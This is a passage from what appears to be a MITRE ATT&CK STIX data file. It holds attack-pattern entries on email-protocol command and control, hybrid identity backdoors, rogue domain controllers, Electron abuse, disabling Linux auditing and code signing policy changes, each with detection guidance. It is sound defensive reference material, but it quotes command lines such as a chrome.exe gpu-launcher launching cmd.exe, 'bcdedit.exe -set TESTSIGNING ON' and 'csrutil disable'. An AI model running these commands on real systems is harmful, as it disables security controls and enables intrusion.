Protocols","description":"Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments. Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.(Citation: FireEye APT28) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_deprecated":false,"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.1","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","created":"2020-03-15T16:21:45.131Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1071/003","external_id":"T1071.003"},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Hybrid Identity","description":"Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Microsoft Entra ID includes three options for synchronizing identities between Active Directory and Entra ID(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Entra ID, allowing authentication to Entra ID to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Entra ID authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Entra ID \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users’ identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Entra ID, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Entra ID tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Entra ID environment as any user.(Citation: Mandiant Azure AD Backdoors)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["Praetorian"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","SaaS","IaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Modification","Module: Module Load","Application Log: Application Log Content","Logon Session: Logon Session Creation"],"type":"attack-pattern","id":"attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f","created":"2022-09-28T13:29:53.354Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1556/007","external_id":"T1556.007"},{"source_name":"Azure AD Connect for Read Teamers","description":"Adam Chester. (2019, February 18). Azure AD Connect for Red Teamers. Retrieved September 28, 2022.","url":"https://blog.xpnsec.com/azuread-connect-for-redteam/"},{"source_name":"AADInternals Azure AD On-Prem to Cloud","description":"Dr. Nestori Syynimaa. (2020, July 13). Unnoticed sidekick: Getting access to cloud as an on-prem admin. Retrieved September 28, 2022.","url":"https://o365blog.com/post/on-prem_admin/"},{"source_name":"MagicWeb","description":"Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.","url":"https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/"},{"source_name":"Azure AD Hybrid Identity","description":"Microsoft. (2022, August 26). Choose the right authentication method for your Azure Active Directory hybrid identity solution. Retrieved September 28, 2022.","url":"https://learn.microsoft.com/en-us/azure/active-directory/hybrid/choose-ad-authn"},{"source_name":"Mandiant Azure AD Backdoors","description":"Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022.","url":"https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-10-15T13:37:31.317Z","name":"Vulnerability Scanning","description":"Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.0","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"],"type":"attack-pattern","id":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","created":"2020-10-02T16:55:16.047Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1595/002","external_id":"T1595.002"},{"source_name":"OWASP Vuln Scanning","description":"OWASP. (n.d.). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020.","url":"https://owasp.org/www-project-automated-threats-to-web-applications/assets/oats/EN/OAT-014_Vulnerability_Scanning"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:44:20.143Z","name":"Cloud API","description":"Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006). \n\nCloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.\n\nWith proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_contributors":["Ozan Olali","Nichols Jasper","Jason Sevilla","Marcus Weeks","Caio Silva"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["IaaS","SaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.1","x_mitre_data_sources":["Command: Command Execution"],"x_mitre_remote_support":false,"type":"attack-pattern","id":"attack-pattern--55bb4471-ff1f-43b4-88c1-c9384ec47abf","created":"2022-03-17T13:28:24.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1059/009","external_id":"T1059.009"},{"source_name":"Microsoft - Azure PowerShell","description":"Microsoft. (2014, December 12). Azure/azure-powershell. Retrieved March 24, 2023.","url":"https://github.com/Azure/azure-powershell"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2022-10-18T22:45:19.607Z","name":"Search Open Technical Databases","description":"Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_platforms":["PRE"],"x_mitre_is_subtechnique":false,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","type":"attack-pattern","id":"attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0","created":"2020-10-02T16:56:05.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1596","external_id":"T1596"},{"source_name":"Circl Passive DNS","description":"CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.","url":"https://www.circl.lu/services/passive-dns/"},{"source_name":"DNS Dumpster","description":"Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.","url":"https://dnsdumpster.com/"},{"source_name":"Medium SSL Cert","description":"Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020.","url":"https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2"},{"source_name":"WHOIS","description":"NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.","url":"https://www.whois.net/"},{"source_name":"Shodan","description":"Shodan. (n.d.). Shodan. Retrieved October 20, 2020.","url":"https://shodan.io"},{"source_name":"SSLShopper Lookup","description":"SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.","url":"https://www.sslshopper.com/ssl-checker.html"},{"source_name":"DigitalShadows CDN","description":"Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.","url":"https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-15T23:00:33.493Z","name":"Electron Applications","description":"Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams.(Citation: Electron 2) Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS.(Citation: Electron 3) The Chromium engine is used to display web content and Node.js runs the backend code.(Citation: Electron 1)\n\nDue to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework.(Citation: Electron 1) For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\system32\\cmd.exe /c calc.exe`).(Citation: Electron 6-8)\n\nAdversaries may also execute malicious content by planting malicious [JavaScript](https://attack.mitre.org/techniques/T1059/007) within Electron applications.(Citation: Electron Security)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Debabrata Sharma"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_version":"1.0","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--561ae9aa-c28a-4144-9eec-e7027a14c8c3","created":"2024-03-07T19:32:35.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1218/015","external_id":"T1218.015"},{"source_name":"Electron 3","description":"Alanna Titterington. (2023, September 14). Security of Electron-based desktop applications. Retrieved March 7, 2024.","url":"https://www.kaspersky.com/blog/electron-framework-security-issues/49035/"},{"source_name":"Electron Security","description":"ElectronJS.org. (n.d.). Retrieved March 7, 2024.","url":"https://www.electronjs.org/docs/latest/tutorial/using-native-node-modules"},{"source_name":"Electron 6-8","description":"Kosayev, U. (2023, June 15). One Electron to Rule Them All. Retrieved March 7, 2024.","url":"https://medium.com/@MalFuzzer/one-electron-to-rule-them-all-dc2e9b263daf"},{"source_name":"Electron 1","description":"TOM ABAI. (2023, August 10). There’s a New Stealer Variant in Town, and It’s Using Electron to Stay Fully Undetected. Retrieved March 7, 2024.","url":"https://www.mend.io/blog/theres-a-new-stealer-variant-in-town-and-its-using-electron-to-stay-fully-undetected/"},{"source_name":"Electron 2","description":"Trend Micro. (2023, June 6). Abusing Electronbased applications in targeted attacks. Retrieved March 7, 2024.","url":"https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLP-CLEAR-Horejsi-Abusing-Electron-Based-Applications-in-Targeted-Attacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-03T03:44:46.935Z","name":"Disable or Modify Linux Audit System","description":"Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.\n\nOften referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file. Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`, containing a sequence of `auditctl` commands loaded at boot time.(Citation: Red Hat System Auditing)(Citation: IzyKnows auditd threat detection 2022)\n\nWith root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.(Citation: Trustwave Honeypot SkidMap 2023)(Citation: ESET Ebury Feb 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Tim (Wadhwa-)Brown"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux"],"x_mitre_version":"1.0","x_mitre_data_sources":["Process: OS API Execution","File: File Modification","Command: Command Execution","File: File Deletion","Process: Process Modification"],"type":"attack-pattern","id":"attack-pattern--562e9b64-7239-493d-80f4-2bff900d9054","created":"2023-05-24T19:03:03.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1562/012","external_id":"T1562.012"},{"source_name":"IzyKnows auditd threat detection 2022","description":"IzySec. (2022, January 26). Linux auditd for Threat Detection. Retrieved September 29, 2023.","url":"https://izyknows.medium.com/linux-auditd-for-threat-detection-d06c8b941505"},{"source_name":"Red Hat System Auditing","description":"Jahoda, M. et al.. (2017, March 14). Red Hat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.","url":"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"},{"source_name":"ESET Ebury Feb 2014","description":"M.Léveillé, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.","url":"https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"},{"source_name":"Trustwave Honeypot SkidMap 2023","description":"Radoslaw Zdonczyk. (2023, July 30). Honeypot Recon: New Variant of SkidMap Targeting Redis. Retrieved September 29, 2023.","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-recon-new-variant-of-skidmap-targeting-redis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vincent Le Toux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1207","url":"https://attack.mitre.org/techniques/T1207"},{"url":"https://www.dcshadow.com/","description":"Delpy, B. & LE TOUX, V. (n.d.). DCShadow. Retrieved March 20, 2018.","source_name":"DCShadow Blog"},{"url":"https://adsecurity.org/?page_id=1821","description":"Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.","source_name":"Adsecurity Mimikatz Guide"},{"url":"https://github.com/shellster/DCSYNCMonitor","description":"Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March 30, 2018.","source_name":"GitHub DCSYNCMonitor"},{"url":"https://msdn.microsoft.com/en-us/library/ms677626.aspx","description":"Microsoft. (n.d.). Polling for Changes Using the DirSync Control. Retrieved March 30, 2018.","source_name":"Microsoft DirSync"},{"url":"https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html","description":"Lucand,G. (2018, February 18). Detect DCShadow, impossible?. Retrieved March 30, 2018.","source_name":"ADDSecurity DCShadow Feb 2018"}],"modified":"2022-03-08T21:20:04.850Z","name":"Rogue Domain Controller","description":"Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor and analyze network traffic associated with data replication (such as calls to DrsAddEntry, DrsReplicaAdd, and especially GetNCChanges) between DCs as well as to/from non DC hosts. (Citation: GitHub DCSYNCMonitor) (Citation: DCShadow Blog) DC replication will naturally take place every 15 minutes but can be triggered by an adversary or by legitimate urgent changes (ex: passwords). Also consider monitoring and alerting on the replication of AD objects (Audit Detailed Directory Service Replication Events 4928 and 4929). (Citation: DCShadow Blog)\n\nLeverage AD directory synchronization (DirSync) to monitor changes to directory state using AD replication cookies. (Citation: Microsoft DirSync) (Citation: ADDSecurity DCShadow Feb 2018)\n\nBaseline and periodically analyze the Configuration partition of the AD schema and alert on creation of nTDSDSA objects. (Citation: DCShadow Blog)\n\nInvestigate usage of Kerberos Service Principal Names (SPNs), especially those associated with services (beginning with “GC/”) by computers not present in the DC organizational unit (OU). The SPN associated with the Directory Replication Service (DRS) Remote Protocol interface (GUID E3514235–4B06–11D1-AB04–00C04FC2DCD2) can be set without logging. (Citation: ADDSecurity DCShadow Feb 2018) A rogue DC must authenticate as a service using these two SPNs for the replication process to successfully complete.","x_mitre_version":"2.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Active Directory: Active Directory Object Modification","Network Traffic: Network Traffic Content","User Account: User Account Authentication","Active Directory: Active Directory Object Creation"],"x_mitre_defense_bypassed":["Log analysis"],"x_mitre_permissions_required":["Administrator"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Abel Morales, Exabeam"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","created":"2021-04-23T01:04:57.161Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1553.006","url":"https://attack.mitre.org/techniques/T1553/006"},{"source_name":"Apple Disable SIP","url":"https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection","description":"Apple. (n.d.). Disabling and Enabling System Integrity Protection. Retrieved April 22, 2021."},{"source_name":"F-Secure BlackEnergy 2014","url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016."},{"source_name":"FireEye HIKIT Rootkit Part 2","url":"https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-2.html","description":"Glyer, C., Kazanciyan, R. (2012, August 22). The “Hikit” Rootkit: Advanced and Persistent Attack Techniques (Part 2). Retrieved May 4, 2020."},{"source_name":"Microsoft Unsigned Driver Apr 2017","url":"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/installing-an-unsigned-driver-during-development-and-test","description":"Microsoft. (2017, April 20). Installing an Unsigned Driver during Development and Test. Retrieved April 22, 2021."},{"source_name":"Microsoft DSE June 2017","url":"https://docs.microsoft.com/en-us/previous-versions/windows/hardware/design/dn653559(v=vs.85)?redirectedfrom=MSDN","description":"Microsoft. (2017, June 1). Digital Signatures for Kernel Modules on Windows. Retrieved April 22, 2021."},{"source_name":"Microsoft TESTSIGNING Feb 2021","url":"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option","description":"Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021."},{"source_name":"Unit42 AcidBox June 2020","url":"https://unit42.paloaltonetworks.com/acidbox-rare-malware/","description":"Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021."},{"source_name":"GitHub Turla Driver Loader","url":"https://github.com/hfiref0x/TDL","description":"TDL Project. (2016, February 4). TDL (Turla Driver Loader). Retrieved April 22, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS.(Citation: Microsoft DSE June 2017)(Citation: Apple Disable SIP) Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.(Citation: Microsoft Unsigned Driver Apr 2017)(Citation: Apple Disable SIP)\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, [Modify Registry](https://attack.mitre.org/techniques/T1112), rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP)(Citation: FireEye HIKIT Rootkit Part 2)(Citation: GitHub Turla Driver Loader) Examples of commands that can modify the code signing policy of a system include bcdedit.exe -set TESTSIGNING ON on Windows and csrutil disable on macOS.(Citation: Microsoft TESTSIGNING Feb 2021)(Citation: Apple Disable SIP) Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.(Citation: F-Secure BlackEnergy 2014)\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying g_CiOptions to disable Driver Signature Enforcement, adversaries may conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) using a signed, but vulnerable driver.(Citation: Unit42 AcidBox June 2020)(Citation: GitHub Turla Driver Loader)","modified":"2022-05-05T05:00:03.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Code Signing Policy Modification","x_mitre_detection":"Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON.(Citation: Microsoft TESTSIGNING Feb 2021) Consider monitoring for modifications made to Registry keys associated with code signing policies, such as HKCU\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing. Modifications to the code signing policy of a system are likely to be rare.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Windows Registry: Windows Registry Key Modification","Process: 